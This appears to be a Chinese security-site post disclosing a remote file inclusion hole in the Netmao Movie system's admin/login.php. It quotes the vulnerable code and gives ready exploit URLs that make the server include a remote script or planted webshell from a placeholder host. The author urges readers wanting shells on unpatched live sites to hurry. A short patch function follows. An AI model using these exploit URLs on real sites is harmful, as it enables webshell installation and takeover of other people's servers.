| IceskYsl在NOHACK上发表的php漏洞专题。第一次就是包含文件漏洞。 那今天我就很快找到了一个,不敢独享!呵呵。 程序:Netmao Movie网猫电影系统。 说明下:现在它的最新版本是3.0,由于加密了,所以就不好继续研究。 不过网上使用的很多都不是最新的版本。所以想拿shell的要赶快哦。 漏洞文件:admin目录下的login.php文件。 代码: if($action=='login'){ @session_start(); if($_SESSION['randomstr']!=$checkcode){ cpmsg('对不起,验证码错误','?file=login'); exit(); } $referer=$referer?$referer:'?file='; $username=addslashes($username); $password=addslashes($password); $password=MD5($password); $result=$db->query("Select * FROM $table_member Where user='$username' AND pwd='$password'"); if($db->num_rows($result)==1){ $r=$db->fetch_array($result); $_SESSION[username]=$r[$user]; if($r[priv]=='1'){$_SESSION[admin]='1';} cpmsg("登录成功!",$referer); }else{ session_destroy(); cpmsg("对不起,帐号和密码不匹配!",$referer); } }elseif($action=='logout'){ session_destroy(); cpmsg("你已经成功退出!",'?file=login'); } else { include $A_tpl.'/login.tpl.php'; } 我们直奔else语句里的代码。变量A_tpl 没赋值,直接拿来用。 直接输入admin/login.php可以暴出路径。 EXP: ⑴ admin/login.php?A_tpl=http://www.xxxx.com/cmd.txt? ⑵ 在一个不支持php脚本的空间建立一个login.tpl.php(当然是自己的脚本木马咯) 访问admin/login.php?A_tpl=http://www.xxxx.com 即可。 好了,结束。。初来~请各位牛人多多指教。 --------------------------------------------------------------------------------------------------- 修补漏洞的方案: function StopRemoteInclude($InclueName){ if(strpos($InclueName,'\\')!==false){ return substr($InclueName,0,strrpos($InclueName,'\\')); }elseif(strpos($InclueName,'/')!==false){ return substr($InclueName,0,strrpos($InclueName,'/')); }else{ return '/'; } } define('S_Dir',__FILE__?StopRemoteInclude(__FILE__).'/' : './'); ------------------------------------------------------------------------------------------------------------- | |||||
| PPPOE验证缺陷所带来的危害 | 03-21 | |
| Ce-Admin新闻发布系统漏洞分析 | 02-07 | |
| Discuz漏洞分析 | 11-28 | |
| 入侵检测PHP程序中的目录遍历漏洞 | 10-12 | |
| 主流入侵检测产品大比较 | 10-03 | |
| 一种新的带宽攻击方式(图) | 06-16 | |
| Javascript实现评估用户输入密码 | 05-30 | |
| 针锋相对:主要的反NIDS技术应用 | 05-22 | |
| dvbbs7.1sp1最新漏洞的研究和利用 | 05-13 | |
| IE mhtml redirection漏洞利用方 | 05-12 | |
| Php后门的隐藏技巧测试报告 | 05-11 | |
| McAfee IntruShield 2600入侵防护 | 05-09 | |